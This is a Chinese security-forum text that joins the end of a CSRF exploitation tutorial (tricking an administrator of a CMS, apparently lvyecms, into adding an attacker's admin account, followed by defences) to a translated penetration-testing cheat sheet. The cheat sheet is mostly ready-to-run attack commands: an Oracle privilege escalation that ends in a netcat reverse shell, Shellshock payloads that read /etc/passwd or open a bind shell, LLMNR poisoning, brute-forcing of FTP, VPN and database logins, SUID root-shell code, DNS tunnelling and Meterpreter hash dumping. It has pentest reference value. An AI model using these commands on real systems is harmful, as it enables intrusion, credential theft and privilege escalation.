我们将构造好的html表单页面放到一个网上，然后通过社工的方式发送给被攻击者，诱使他访问此恶意页面出发“账号密码修改操作”。
3.1.5 CSRF 密码修改漏洞小结
CSRF密码修改漏洞小结：通过上面的分析与学习的展开，我们可以发现这种场景漏洞的存在，其实比较好发现。其他特点就是“用户密码的修改无任何的条件限制与校验机制”。
3.2 后台管理员新增之 CSRF 漏洞重现
我们在做渗透测试时，也会经常进行一些CMS系统的“黑盒测试”，就是自己搭建目标系统的CMS系统，然后本地进行前台和后台的所有功能安全测试，挖掘可能存在的漏洞。其中我们对于“后台账号的添加系统管理员”一项操作，进行csrf漏洞的挖掘就很有必要，如果我能够挖掘出此漏洞，我们就可以构造恶意的html表单页面对真是的目标“CMS系统”进行攻击，为我们在真实的目标系统上添加一个后台管理员，拿下其后台管理权限，为进一步的渗透打开大门。接下来的漏洞复现，就以一个小众的CMS系统进CSRF
添加后台管理账号漏洞的复现。
3.2.1 环境准备
phpstudy web容器环境准备
burpsuite 抓包工具
lvyecms 系统下载
3.2.2 phpstudy web容器环境
有关于phpstudy web容器环境的搭建，这里不做过多的说明，因为真的很简单，大家直接下载默认安装即可使用。
下载地址：
3.2.3 burpsuite 抓包工具
burpsuite 抓包工具与代理插件的使用，可参加上面的3.1章节的内容，这里也不在重复说明了。但是多说一句burpsuite
工具箱真的很强大，强烈建议大家拥有，后面还还给大家演示怎样使用burpsuite进行一键构造一个csrf
的POC表单，我也是刚刚学会的，后面演示复现时会分享给大家。
3.2.4 lvyecms 环境搭建
3.2.4.1 解压源码包
在phpstudy
web容器环境准备好后，我们直接将lvyecms源码包解压重新命名（lvyecms）,然后将解压包复制到phpstudy主目录下的WWW文件夹下即可。
3.2.4.2 站点域名设置
为了后续的对测试环境的访问，我简单的设置下“站点域名设置”，具体设置如下。
选择“其他选项菜单” – “站点域名管理” – 添加“网站域名” www.lvye.com – 设置“网站目录”
Ephpstudywwwlvyecms,然后点击新增，最后保存设置重启服务。
3.2.4.3 配置hosts主机解析文件
我直接进入目录“C:WindowsSystem32driversetc”找到hosts文件，在文件中添加一条解析记录
127.0.0.1 www.lvye.com ，然后保存即可。（注意以管理员权限打开文件才能修改成功）
3.2.5 后台管理添加过程测试
（1） 进入添加后台管理员界面
（2） 添加后台管理员test
（3） 确认管理员添加情况
3.2.6 CSRF 漏洞发现分析
通过以上三步简单的操作，我们即可完成一个后台管理员账号的授权添加，并没发现什么异常，接下来我们将使用burpsuite进行抓包分析下正添加管理账号的请求过程中是否存在未对用户做除cookie以外的有效身份验证操作。
（1） 配置好firefox 代理设置安全漏洞。
（1） 配置好firefox 代理设置
有关firefox浏览器中foxyproxy代理设置插件的使用，请参加3.1章节内容。
（2） 开启burpsuite 数据包代理截断
（3） 请求包抓包分析
通过抓包分析可以看到，在我们进行后台超级管理员添加的过程发送出去的请求只包两类关键信息：
包含了当前用户的cookie值
添加管理员相关信息参数；
除去以上两个信息再无其他任何对当前用户身份进行有效校验的信息。因此，推断此处添加管理员的操作可能存在csrf漏洞。
（4） 直接构造get类型的csrf恶意链接
构造方法比较简单，我们直接在burpsuite 截断数据出右击鼠标，选择“”，随后右击鼠标“copy
url”即可获取一个完整的get类型的“添加管理操作”的URL请求；
通过验证，发现构造的get类型csrf恶意链接并不能添加管理员，由此可以推断index.php脚本中可能对于数据请求的类型做了限制，只接受post类型的数据提交。
（5） 构造post类型的html页面
这里分析给大家一个我也是刚刚学习到一个使用burpsuite直接构造csrf表单poc的方法。我们直接右击数据包截断页面，选择“Engagement
tools”-“Generate CSRF PoC”，即可获取一个csrf的表单poc。
（6） 构造csrf html表单验证
随后我们将获取的表单内容复制到一个csrf.html文档中保存，并将此csrf.html发布到站点中（这里我就直接将poc房子lvye.com站点主目录中），随后就是想办法通过社工的方式诱使管理员访问此恶意页面，触发管理添加的操作。（当然我们这里只是简单的给大家演示了利用过程，实际的社工内容是怎样的，大家各自打开脑洞吧…）具体漏洞利用过程，基本演示如下。
**4、CSRF 漏洞防护**
其实现在有关CSRF漏洞防护已经是比较成熟了，其主要防护的思路就是需要在进行后台数据修改操作的过程中，添加对当前用户身份的有效验证措施，而不能仅限于cookie的识别，这里简单的罗列了下防护措施如下。
（1） 来源校验
使用http请求头中referer来源，对客户端源进行身份校验，此方法早期使用比较多，但是仍然容易被绕过，所以这里并不建议使用。
（2） 用户token 校验
添加基于当前用户身份的有效tokens随机验证机制，即在向后端提交数据操作请求时，添加基于当前用户的随机token校验值，此种校验方法当前使用比较多；
（3）当前用户密码验证
在修改关键信息时，要钱当前用户输入其自身的密码，以验证当前用户身份的真伪，防止未授权的恶意操作；
（4）添加验证机制
在请求数据的提交前，需填写验证码信息提交，以增加对用户来源的有效验证，防止恶意未授权的操作产生。 | 社区文章 |
# 渗透测试工具备忘录
**_声明：本文翻译自[Penetration Testing Tools Cheat Sheet
](https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/) 。_**
## 简介
渗透测试工具备忘录记录渗透测试时常用的命令，更深入的信息推荐参考特定工具的帮助文档或 [本站](https://highon.coffee/blog/)
其他备忘录。
本目录关注网络底层相关的渗透测试，除了少量sqlmap的命令和一些Web服务枚举外，基本不包含Web应用渗透测试的内容。关于Web应用测试，建议参考《黑客攻防技术宝典》，这本书不管是用作专门学习还是参考手册都是很棒的。
文中缺漏之处欢迎 [推特](https://twitter.com/Arr0way) 私戳。
### 更新日志：
17/02/2017 ：更新文章，增加VPN，DNS隧道，VLAN hopping（跳跃攻击） 等内容。
## 开始前
### 网络配置
#### 设置IP 地址
ifconfig eth0 xxx.xxx.xxx.xxx/24
#### 子网划分
ipcalc xxx.xxx.xxx.xxx/24
ipcalc xxx.xxx.xxx.xxx 255.255.255.0
## 公开来源情报
### 被动信息收集
#### DNS
##### WHOIS 枚举
whois domain-name-here.com
##### 查询DNS IP
dig a domain-name-here.com @nameserver
##### 查询MX记录
dig mx domain-name-here.com @nameserver
##### 用DIG 查询域传送
dig axfr domain-name-here.com @nameserver
## DNS 域传送
命令 | 解释
---|---
`nslookup -> set type=any -> ls -d blah.com` | Windows DNS域传送
`dig axfr blah.com @ns1.blah.com` | Linux DNS 域传送
### 邮件
#### Simply Email
使用Simply
Email枚举所有所有网站（GitHub，目标站点等），配上代理或设置较长的访问间隔时间，这样就不会被Google发现是爬虫并用验证码拦住了。Simply
Email还可以验证收集的邮件地址。
git clone https://github.com/killswitch-GUI/SimplyEmail.git
./SimplyEmail.py -all -e TARGET-DOMAIN
### 半主动信息收集
#### 基本指纹识别
手动指纹识别/banner抓取
命令 | 解释
---|---
`nc -v 192.168.1.1 25`
`telnet 192.168.1.1 25` | 通过显示banner识别版本和指纹
#### 使用NC抓取banner
nc TARGET-IP 80
GET / HTTP/1.1
Host: TARGET-IP
User-Agent: Mozilla/5.0
Referrer: meh-domain
<enter>
### 主动信息收集
#### DNS 爆破
##### DNSRecon
DNS Enumeration Kali - DNSRecon
---
root :~# dnsrecon -d TARGET -D /usr/share/wordlists/dnsmap.txt -t std --xml
ouput.xml
#### 端口扫描
##### Nmap命令
更多命令，详见 [Nmap备忘录](https://highon.coffee/blog/nmap-cheat-sheet/) 。
基本Nmap 命令：
命令 | 解释
---|---
`nmap -v -sS -A -T4 target` | 详细显示，syn探测，高速扫描，系统和服务版本信息，脚本扫描和路由跟踪
`nmap -v -sS -p--A -T4 target` | 同上，且扫描所有TCP端口，耗时更长
`nmap -v -sU -sS -p- -A -T4 target` | 同上，且扫描所有UDP端口，耗时巨长
`nmap -v -p 445 --script=smb-check-vulns --script-args=unsafe=1 192.168.1.X` |
扫描可能包含漏洞的SMB服务
ls /usr/share/nmap/scripts/* | grep ftp | 利用关键字搜索nmap脚本
别在外网采用`T4` 扫描，使用`TCP` 连接扫描时用`T2` 比较合适。`T4`
扫描用在低延迟高带宽的内部网络测试会更合适。但这也取决于目标设备，如果用`T4/T5`
扫他们，结果就可能不准确。总的来说，扫描越慢越好，也可以先快速扫描1000个目标方便上手测试，然后再慢慢扫其余的。
###### Nmap UDP扫描
nmap -sU TARGET
###### UDP 协议扫描器
git clone https://github.com/portcullislabs/udp-proto-scanner.git
扫描文件中IP地址的所有服务
./udp-protocol-scanner.pl -f ip.txt
扫描特定UDP服务
udp-proto-scanner.pl -p ntp -f ips.txt
###### 其他主机发现
不使用nmap发现主机的方法：
命令 | 解释
---|---
`netdiscover -r 192.168.1.0/24` | 利用子网的地址解析协议发现同网段的IP，MAC地址和MAC厂商
## 枚举和攻击网络服务
用于识别/枚举网络服务的工具。
### SAMB / SMB / Windows 域枚举
#### Samba枚举
##### SMB枚举工具
nmblookup -A target
smbclient //MOUNT/share -I target -N
rpcclient -U "" target
enum4linux target
当然也可参考本站的 [nbtscan 的速查表](https://highon.coffee/blog/nbtscan-cheat-sheet/)
##### SMB 版本指纹识别
smbclient -L //192.168.1.100
##### 寻找开放的SMB共享
nmap -T4 -v -oA shares --script smb-enum-shares --script-args smbuser=username,smbpass=password -p445 192.168.1.0/24
##### 枚举SMB用户
nmap -sU -sS --script=smb-enum-users -p U:137,T:139 192.168.11.200-254
python /usr/share/doc/python-impacket-doc/examples/samrdump.py 192.168.XXX.XXX
RID循环（RID Cycling ）
ridenum.py 192.168.XXX.XXX 500 50000 dict.txt
Metasploit的RID循环攻击模块
use auxiliary/scanner/smb/smb_lookupsid
###### 手动测试空会话
Windows:
net use \\TARGET\IPC$ "" /u:""
Linux:
smbclient -L //192.168.99.131
###### NBTScan unixwiz
在Kali上安装使用：
apt-get install nbtscan-unixwiz
nbtscan-unixwiz -f 192.168.0.1-254 > nbtscan
#### LLMNR / NBT-NS欺骗
从网络中窃取凭证
##### 使用Metasploit进行 LLMNR / NetBIOS请求
欺骗/毒化 LLMNR / NetBIOS请求：
auxiliary/spoof/llmnr/llmnr_response
auxiliary/spoof/nbns/nbns_response
抓取哈希
auxiliary/server/capture/smb
auxiliary/server/capture/http_ntlm
最后会得到NTLMv2 哈希，可以使用john或者hashcat破解。
##### Responder.py
你也可以选择使用 responder
git clone https://github.com/SpiderLabs/Responder.git
python Responder.py -i local-ip -I eth0
注：整个渗透测试过程可以一直允许Responder.py
#### SNMP枚举工具
SNMP枚举工具有很多。
美化SNMP输出结果使易于阅读。
apt-get install snmp-mibs-downloader download-mibs
echo "" > /etc/snmp/snmp.conf
命令 | 解释
---|---
`snmpcheck -t 192.168.1.X -c public`
snmpwalk -c public -v1 192.168.1.X 1 | grep hrSWRunName | cut -d __ -f
`snmpenum -t 192.168.1.X`
`onesixtyone -c names -i hosts` | SNMP枚举
##### SNMPv3枚举工具
使用nmap识别SNMPv3服务器
nmap -sV -p 161 --script=snmp-info TARGET-SUBNET
Rory McCune 的脚本可以帮助自动化枚举SNMPv3的用户名枚举。
apt-get install snmp snmp-mibs-downloader
wget https://raw.githubusercontent.com/raesene/TestingScripts/master/snmpv3enum.rb
注意：下面的路径是Kali上Metasploit的SNMP v1和v2的攻击字典，更新的字典可以参考Daniel Miessler
[在GitHub上的安全列表](https://github.com/danielmiessler/SecLists) 。
/usr/share/metasploit-framework/data/wordlists/snmp_default_pass.txt
#### 远程服务枚举
这已是老生常谈，但为了本文内容的全面还是包含如下。
`nmap -A` 会进行下面列举的所有远程服务的枚举，所以这里只是顺便提及。
##### RSH 枚举
###### RSH运行命令
rsh <target> <command>
###### MetasploitRSH 登陆扫描
auxiliary/scanner/rservices/rsh_login
###### 使用rusers显示已登陆用户
rusers -al 192.168.2.1
###### 使用rlogin扫描整个子网
rlogin -l <user> <target>
e.g rlogin -l root TARGET-SUBNET/24
#### 使用finger枚举
finger @TARGET-IP
finger batman@TARGET-IP
##### 利用Solaris的bug显示所有已登录用户
finger 0@host
SunOS: RPC services allow user enum:
$ rusers # users logged onto LAN
finger 'a b c d e f g h'@sunhost
#### rwho
使用nmap识别运行rwhod服务（513端口，UDP协议）的机器。
## TLS&SSL 测试
### testssl.sh
测试单一主机并将结果输出的HTML文件：
./testssl.sh -e -E -f -p -y -Y -S -P -c -H -U TARGET-HOST | aha > OUTPUT-FILE.html
## 漏洞评估
在Kali Rolling上安装OpenVAS 8
apt-get update
apt-get dist-upgrade -y
apt-get install openvas
openvas-setup
确认openvas 正在运行：
netstat -tulpn
通过`https://127.0.0.1:9392` 登陆openvas，密码是在安装时设置好的。
## 数据库渗透测试
攻击暴露在互联网上的数据库。
### Oracle
安装 oscanner：
apt-get install oscanner
运行 oscanner：
oscanner -s 192.168.1.200 -P 1521
#### Oracle TNS版本指纹识别
安装 tnscmd10g ：
apt-get install tnscmd10g
识别：
tnscmd10g version -h TARGET
nmap --script=oracle-tns-version
#### 爆破Oracle账户
验证默认账户
nmap --script=oracle-sid-brute
nmap --script=oracle-brute
对Oracle TNS 运行nmap脚本：
nmap -p 1521 -A TARGET
#### Oracle权限提升
利用条件：
* Oracle必须暴露在互联网上
* 使用默认账户，如scott
简明流程：
* 创建函数
* 创建表 SYS.DUAL 的索引
* 刚刚建立的索引执行了SCOTT.DBA_X 函数
* 函数是被SYS用户执行的，因为表 SYS.DUAL 属于SYS用户
* 创建具有DBA权限的账户
下面的展示使用SCOTT用户，但其他默认的Oracle用户也是可以的。
##### 使用NMAP NSE脚本验证oracle数据库中的默认账户：
nmap --script=oracle-sid-brute
nmap --script=oracle-brute
使用脆弱账号登陆（假设你发现了一个）。
##### 确认一个oracle用户的权限级别
SQL> select * from session_privs;
SQL> CREATE OR REPLACE FUNCTION GETDBA(FOO varchar) return varchar deterministic authid
curren_user is
pragma autonomous_transaction;
begin
execute immediate 'grant dba to user1 identified by pass1';
commit;
return 'FOO';
end;
##### Oracle权限提升和访问DBA
运行netcat，`netcat -nvlp 443` 。
SQL> create index exploit_1337 on SYS.DUAL(SCOTT.GETDBA('BAR'));
##### 运行查询语句
SQL> Select * from session_privs;
这时你应该拥有一个DBA用户，可以重新运行上面的命令来验证自己是否拥有DBA特权。
##### 移除利用痕迹：
drop index exploit_1337;
##### 获取Oracle反弹shell：
begin
dbms_scheduler.create_job( job_name => 'MEH1337',job_type =>
'EXECUTABLE',job_action => '/bin/nc',number_of_arguments => 4,start_date =>
SYSTIMESTAMP,enabled => FALSE,auto_drop => TRUE);
dbms_scheduler.set_job_argument_value('rev_shell', 1, 'TARGET-IP');
dbms_scheduler.set_job_argument_value('rev_shell', 2, '443');
dbms_scheduler.set_job_argument_value('rev_shell', 3, '-e');
dbms_scheduler.set_job_argument_value('rev_shell', 4, '/bin/bash');
dbms_scheduler.enable('rev_shell');
end;
### MSSQL
枚举/发现
Nmap
nmap -sU --script=ms-sql-info 192.168.1.108 192.168.1.156
Metasploit
msf > use auxiliary/scanner/mssql/mssql_ping
#### 爆破 MSSQL登陆
msf > use auxiliary/admin/mssql/mssql_enum
#### Metasploit MSSQL Shell
msf > use exploit/windows/mssql/mssql_payload
msf exploit(mssql_payload) > set PAYLOAD windows/meterpreter/reverse_tcp
## 网络
### Plink.exe 隧道
PuTTY Link 隧道
转发运程端口到本地地址：
plink.exe -P 22 -l root -pw "1337" -R 445:127.0.0.1:445 REMOTE-IP
### 跳板（Pivoting）
#### SSH 跳板（ssh Pivoting）
ssh -D 127.0.0.1:1010 -p 22 user@pivot-target-ip
需在`/etc/proxychains.conf` 添加sock4 `127.0.0.1 1010`
利用SSH跳板跨越网络
ssh -D 127.0.0.1:1010 -p 22 user1@ip-address-1
需在`/etc/proxychains.conf` 添加sock4 `127.0.0.1 1010`
proxychains ssh -D 127.0.0.1:1011 -p 22 user1@ip-address-2
在`/etc/proxychains.conf` 添加sock4 `127.0.0.1 1011`
#### Meterpreter Pivoting
### TTL 指纹识别
操作系统 | TTL 值
---|---
Windows | `128`
Linux | `64`
Solaris | `255`
Cisco / Network | `255`
### IPv4 速查
#### 各类IP的地址范围
类别 | IP 地址范围
---|---
A类 | `0.0.0.0 - 127.255.255.255`
B类 | `128.0.0.0 - 191.255.255.255`
C类 | `192.0.0.0 - 223.255.255.255`
D类 | `224.0.0.0 - 239.255.255.255`
E类 | `240.0.0.0 - 255.255.255.255`
#### IPv4私有地址
类别 | 范围
---|---
A类私有地址 | `10.0.0.0 - 10.255.255.255`
B类私有地址 | `172.16.0.0 - 172.31.255.255`
C类私有地址 | `192.168.0.0 - 192.168.255.255`
| `127.0.0.0 - 127.255.255.255`
#### IPv4子网速查表
和渗透测试关系不太大，但确实很有用。
CIDR | 十进制掩码 | 主机数量
---|---|---
/31 | `255.255.255.254` | `1 Host`
/30 | `255.255.255.252` | `2 Hosts`
/29 | `255.255.255.248` | `6 Hosts`
/28 | `255.255.255.240` | `14 Hosts`
/27 | `255.255.255.224` | `30 Hosts`
/26 | `255.255.255.192` | `62 Hosts`
/25 | `255.255.255.128` | `126 Hosts`
/24 | `255.255.255.0` | `254 Hosts`
/23 | `255.255.254.0` | `512 Host`
/22 | `255.255.252.0` | `1022 Hosts`
/21 | `255.255.248.0` | `2046 Hosts`
/20 | `255.255.240.0` | `4094 Hosts`
/19 | `255.255.224.0` | `8190 Hosts`
/18 | `255.255.192.0` | `16382 Hosts`
/17 | `255.255.128.0` | `32766 Hosts`
/16 | `255.255.0.0` | `65534 Hosts`
/15 | `255.254.0.0` | `131070 Hosts`
/14 | `255.252.0.0` | `262142 Hosts`
/13 | `255.248.0.0` | `524286 Hosts`
/12 | `255.240.0.0` | `1048674 Hosts`
/11 | `255.224.0.0` | `2097150 Hosts`
/10 | `255.192.0.0` | `4194302 Hosts`
/9 | `255.128.0.0` | `8388606 Hosts`
/8 | `255.0.0.0` | `16777214 Hosts`
### VLAN hopping（跳跃攻击）
使用nccgroup 的脚本简化攻击过程
git clone https://github.com/nccgroup/vlan-hopping.git
chmod 700 frogger.sh
./frogger.sh
### VPN测试工具
识别VPN服务器
./udp-protocol-scanner.pl -p ike TARGET(s)
扫描VPN服务器网段：
./udp-protocol-scanner.pl -p ike -f ip.txt
#### IKEForce
使用IKEForce枚举或对 VPN 服务器进行字典攻击.
安装:
pip install pyip
git clone https://github.com/SpiderLabs/ikeforce.git
使用IKEForce对IKE VPN 进行枚举：
./ikeforce.py TARGET-IP –e –w wordlists/groupnames.dic
使用 IKEForce 爆破 IKE VPN:
./ikeforce.py TARGET-IP -b -i groupid -u dan -k psk123 -w passwords.txt -s 1
ike-scan
ike-scan TARGET-IP
ike-scan -A TARGET-IP
ike-scan -A TARGET-IP --id=myid -P TARGET-IP-key
#### IKE 激进模式 PSK 破解
1. 验证VPN服务器
2. 使用 IKEForce 枚举来获得组ID
3. 使用 ike-scan 从IKE 终端抓取 PSK 哈希
4. 使用 psk-crack 破解哈希
##### Step 1: 验证IKE服务器
./udp-protocol-scanner.pl -p ike SUBNET/24
##### Step 2:使用IKEForce枚举组名
./ikeforce.py TARGET-IP –e –w wordlists/groupnames.dic
##### Step 3: 使用ike-scan抓取PSK哈希
ike-scan –M –A –n example_group -P hash-file.txt TARGET-IP
##### Step 4: 使用psk-crack 破解PSK 哈希
psk-crack hash-file.txt
高级psk-crack 选项:
pskcrack
psk-crack -b 5 TARGET-IPkey
psk-crack -b 5 --charset="01233456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" 192-168-207-134key
psk-crack -d /path/to/dictionary-file TARGET-IP-key
#### PPTP Hacking
验证PPTP服务 ，它以TCP协议在1723端口监听
##### NMAP PPTP 指纹识别:
nmap –Pn -sV -p 1723 TARGET(S)
##### PPTP字典攻击
thc-pptp-bruter -u hansolo -W -w /usr/share/wordlists/nmap.lst
### DNS 隧道
通过DNS传送数据来绕过防火墙。dns2cat支持和目标主机间 的上传和下载文件（数据或程序）操作。
#### 攻击机器：
安装:
apt-get update
apt-get -y install ruby-dev git make g++
gem install bundler
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server
bundle install
运行dnscat2:
ruby ./dnscat2.rb
dnscat2> New session established: 1422
dnscat2> session -i 1422
目标机器:
<https://downloads.skullsecurity.org/dnscat2/>
<https://github.com/lukebaggett/dnscat2-powershell/>
dnscat --host <dnscat server_ip>
## BOF / Exploit
## Exploit 搜索
寻找枚举主机/服务的exp
命令 | 解释
---|---
searchsploit windows 2003 | grep -i local | 从 exploit-db搜索EXP,
这里以WIndows2003本地提权为例
`site:exploit-db.com exploit kernel <= 3` | 使用Google搜索exploit-db.com
`grep -R "W7" /usr/share/metasploit-framework/modules/exploit/windows/*` |
用grep搜索metasploit的模块——因为msf的搜索有点差劲。
### 搜索EXP
安装exploit-db的本地备份:
searchsploit –u
searchsploit apache 2.2
searchsploit "Linux Kernel"
searchsploit linux 2.6 | grep -i ubuntu | grep local
### 在Kali上编译WIndows的exp
wget -O mingw-get-setup.exe http://sourceforge.net/projects/mingw/files/Installer/mingw-get-setup.exe/download
wine mingw-get-setup.exe
select mingw32-base
cd /root/.wine/drive_c/windows
wget http://gojhonny.com/misc/mingw_bin.zip && unzip mingw_bin.zip
cd /root/.wine/drive_c/MinGW/bin
wine gcc -o ability.exe /tmp/exploit.c -lwsock32
wine ability.exe
### 交叉编译Exploits
gcc -m32 -o output32 hello.c (32 bit)
gcc -m64 -o output hello.c (64 bit)
### 利用通用漏洞
#### 利用Shellshock漏洞
一个用来寻找和利用Shellshock漏洞的攻击
git clone https://github.com/nccgroup/shocker
./shocker.py -H TARGET --command "/bin/cat /etc/passwd" -c /cgi-bin/status --verbose
##### cat file (查看文件内容)
echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; echo \$(</etc/passwd)\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc TARGET 80
##### Shell Shock 运行bind shell
echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc TARGET 80
##### Shell Shock 反弹shell
nc -l -p 443
## 简单的本地Web服务器
使用Python命令运行本地Web服务，在接受反向shell和攻击目标机器是很方便。
命令 | 解释
---|---
`python -m SimpleHTTPServer 80` | 运行一个基本的 http 服务,接受反弹shell等情况下很棒
`python3 -m http.server` | 运行一个基本的 Python3 http 服务
`ruby -rwebrick -e "WEBrick::HTTPServer.new(:Port => 80, :DocumentRoot =>
Dir.pwd).start"` | 运行一个基本的ruby http 服务
`php -S 0.0.0.0:80` | 运行一个基本的 PHP http 服务
## 挂载文件共享
怎样挂载 NFS / CIFS以进行 Windows 和Linux 的文件共享。
命令 | 解释
---|---
`mount 192.168.1.1:/vol/share /mnt/nfs` | 挂载NFS共享到 `/mnt/nfs`
`mount -t cifs -o username=user,password=pass,domain=blah //192.168.1.X/share-name /mnt/cifs` | 挂载Windows CIFS / SMB 共享到 Linux 的 `/mnt/cifs`
。如果不直接在命令里带密码，可以在询问后输入，这样就不会在bash命令历史里存储明文密码
`net use Z: \\win-server\share password /user:domain\janedoe /savecred /p:no`
| 使用命令行在Windows间挂载共享文件
`apt-get install smb4k -y` | 在Kali上安装smb4k，方便从Linux的GUI查看SMB共享
## HTTP / HTTPS Web服务枚举
命令 | 解释
---|---
`nikto -h 192.168.1.1` | 对目标使用 nikto 进行扫描
`dirbuster` | 使用GUI配置，命令行不好使
## 数据包侦测
命令 | 解释
---|---
`tcpdump tcp port 80 -w output.pcap -i eth0` | 将网卡eth0的80端口的流量导出到output.pcap
## 用户名枚举
一些用来枚举目标系统用户名的手法。
### SMB 用户枚举
命令 | 解释
---|---
`python /usr/share/doc/python-impacket-doc/examples/samrdump.py
192.168.XXX.XXX` | 枚举SMB用户
`ridenum.py 192.168.XXX.XXX 500 50000 dict.txt` | 利用RID cycle枚举SMB用户
### SNMP 用户枚举
COMMAND | DESCRIPTION
---|---
snmpwalk public -v1 192.168.X.XXX 1 | grep 77.1.2.25 | cut -d” “ -f4 | 枚举 SNMP
用户
`python /usr/share/doc/python-impacket-doc/examples/samrdump.py SNMP
192.168.X.XXX` | 枚举 SNMP 用户
`nmap -sT -p 161 192.168.X.XXX/254 -oG snmp_results.txt (then grep)` |
使用nmap搜索SNMP服务器，然后用grep过滤输出
## 密码
### 字典
命令 | 解释
---|---
`/usr/share/wordlists` | Kali 的字典存放路径
## 爆破服务
### 使用Hydra 爆破FTP
命令 | 解释
---|---
`hydra -l USERNAME -P /usr/share/wordlistsnmap.lst -f 192.168.X.XXX ftp -V` |
使用Hydra 爆破FTP
### 使用Hydra 爆破POP3
COMMAND | DESCRIPTION
---|---
`hydra -l USERNAME -P /usr/share/wordlistsnmap.lst -f 192.168.X.XXX pop3 -V` |
使用Hydra 爆破POP3
### 使用Hydra 爆破SMTP
COMMAND | DESCRIPTION
---|---
`hydra -P /usr/share/wordlistsnmap.lst 192.168.X.XXX smtp -V` | 使用Hydra 爆破SMTP
使用 `-t` 限制并发连接数，如 `-t 15`
## 密码破解
渗透测试中用于密码破解的工具。
### John The Ripper - JTR
命令 | 解释
---|---
`john --wordlist=/usr/share/wordlists/rockyou.txt hashes` | JTR 破解密码
`john --format=descrypt --wordlist /usr/share/wordlists/rockyou.txt hash.txt`
| JTR 使用字典爆破解密
`john --format=descrypt hash --show` | JTR 爆破解密
## Windows 渗透测试命令
See **Windows Penetration Testing Commands**.【待原文补充】
## Linux 渗透测试命令
参考本站的[Linux 命令速查表](https://highon.coffee/blog/linux-commands-cheat-sheet/)
，该表提供了很多有用的命令。
## 编译EXP
Some notes on compiling exploits.【待原文补充】
### 判断C代码适用于Windows平台还是Linux
通过`#include` 的文件来判定
命令 | 解释
---|---
`process.h, string.h, winbase.h, windows.h, winsock2.h` | Windows平台代码
`arpa/inet.h, fcntl.h, netdb.h, netinet/in.h, sys/sockt.h, sys/types.h,
unistd.h` | Linux平台代码
### 使用GCC编译Exploit
命令 | 解释
---|---
`gcc -o exploit exploit.c` | GCC基本用法
### 在64位的Kali上用GCC编译32位的EXP
很方便地在64位的攻击机器上交叉编译32位的二进制文件。
命令 | 解释
---|---
`gcc -m32 exploit.c -o exploit` | 在64位的Linux上交叉编译32位的二进制文件
### 在 Linux上编译可运行于Windows的exe文件
COMMAND | DESCRIPTION
---|---
`i586-mingw32msvc-gcc exploit.c -lws2_32 -o exploit.exe` | 在
Linux上生成Windows的exe
## SUID 二进制
通常具有SUID的 C二进制文件要求以超级用户登陆shell，您可以按需更新UID / GID和shell。
下面是一些可用的shell：
### 运行 /bin/bash的SUID C Shell
int main(void){
setresuid(0, 0, 0);
system("/bin/bash");
}
### 运行 /bin/sh的SUID C Shell
int main(void){
setresuid(0, 0, 0);
system("/bin/sh");
}
### 构建 SUID Shell 二进制
gcc -o suid suid.c
32位
gcc -m32 -o suid suid.c
## 反向Shells
参考 [反向 Shell 速查表](https://highon.coffee/blog/reverse-shell-cheat-sheet/) 。
## TTY Shells
Tips / Tricks to spawn a TTY shell from a limited shell in Linux, useful for
running commands like `su` from reverse shells.
一些模拟出TTY终端窗口以突破shell限制的技巧，便于从反向shell上执行类似 `su` 的特殊命令。
### 用Python模拟 TTY Shell的技巧
python -c 'import pty;pty.spawn("/bin/bash")'
echo os.system('/bin/bash')
### 用sh模拟交互式shell
/bin/sh -i
### 用Perl模拟 TTY Shell
exec "/bin/sh";
perl —e 'exec "/bin/sh";'
### 用Ruby模拟 TTY Shell
exec "/bin/sh"
### 用Lua 模拟TTY Shell
os.execute('/bin/sh')
### 从Vi模拟TTY Shell
:!bash
### 用NMAP模拟TTY Shell
!sh
## Metasploit 速查表
这是一个metasploit方便的速查手册。关于跳板技术可参看 [Meterpreter
Pivoting](https://highon.coffee/blog/ssh-meterpreter-pivoting-techniques/) 。
### Meterpreter Payloads
### Windows 反向meterpreter payload
命令 | 解释
---|---
`set payload windows/meterpreter/reverse_tcp` | Windows 反向tcp payload
### Windows VNC Meterpreter payload
命令 | 解释
---|---
`set payload windows/vncinject/reverse_tcp``set ViewOnly false` | Meterpreter
Windows VNC Payload
### Linux 反向Meterpreter payload
命令 | 解释
---|---
`set payload linux/meterpreter/reverse_tcp` | Meterpreter Linux 反向Payload
## Meterpreter速查表
有用的meterpreter 命令。
命令 | 解释
---|---
`upload file c:\\windows` | Meterpreter上传文件到 Windows 目标
`download c:\\windows\\repair\\sam /tmp` | Meterpreter 从 Windows 目标下载文件
`execute -f c:\\windows\temp\exploit.exe` | Meterpreter
在目标机器上执行.exe文件——用来执行上传的exp很方便
`execute -f cmd -c` | 创建新的cmd shell通道
`ps` | Meterpreter显示进程
`shell` | Meterpreter获取目标shell
`getsystem` | Meterpreter尝试提权
`hashdump` | Meterpreter尝试导出目标机器上的哈希
`portfwd add –l 3389 –p 3389 –r target` | Meterpreter端口转发
`portfwd delete –l 3389 –p 3389 –r target` | Meterpreter删除端口转发
## 常用Metasploit 模块
最常用的metasploit 模块。
### 远程Windows Metasploit 模块(exploits)
命令 | 解释
---|---
`use exploit/windows/smb/ms08_067_netapi` | MS08_067 Windows 2k, XP, 2003 远程攻击
`use exploit/windows/dcerpc/ms06_040_netapi` | MS08_040 Windows NT, 2k, XP,
2003 远程攻击
`use exploit/windows/smb/ms09_050_smb2_negotiate_func_index` | MS09_050
Windows Vista SP1/SP2 和Server 2008 (x86) 远程攻击
### 本地Windows Metasploit 模块(exploits)
命令 | 解释
---|---
`use exploit/windows/local/bypassuac` | 绕过 Windows 7 上的UAC
### 辅助Metasploit 模块
命令 | 解释
---|---
`use auxiliary/scanner/http/dir_scanner` | Metasploit HTTP 目录扫描
`use auxiliary/scanner/http/jboss_vulnscan` | Metasploit JBOSS 漏扫
`use auxiliary/scanner/mssql/mssql_login` | Metasploit MSSQL 认证扫描
`use auxiliary/scanner/mysql/mysql_version` | Metasploit MSSQL 版本扫描
`use auxiliary/scanner/oracle/oracle_login` | Metasploit Oracle 登陆模块
### Metasploit Powershell 模块
命令 | 解释
---|---
